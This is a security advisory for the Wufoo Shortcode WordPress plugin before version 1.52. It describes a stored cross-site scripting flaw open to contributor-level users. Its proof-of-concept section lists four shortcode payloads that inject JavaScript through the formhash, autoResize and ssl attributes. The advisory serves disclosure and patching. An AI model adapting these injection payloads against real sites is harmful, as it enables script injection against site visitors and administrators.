WordPress Plugin Vulnerabilities

Wufoo Shortcode < 1.52 - Contributor+ Stored XSS via Shortcode

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

v < 1.52
[wufoo username="xss" formhash="a=1;alert(/XSS-formhash-2/)" autoResize="1"]

[wufoo username="xss" formhash="b" autoResize="1-alert(/XSS-autoResize/)-2"]

[wufoo username="xss" formhash="b" autoResize="1" ssl="1-alert(/XSS-ssl/)-2"]

v < 1.51
[wufoo username="xss" formhash="' onmouseover=alert(/XSS-formhash-1/)//"]

Affects Plugins

Fixed in 1.52

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-01-31 (about 1 years ago)
Added
2023-01-31 (about 1 years ago)
Last Updated
2023-01-31 (about 1 years ago)

Other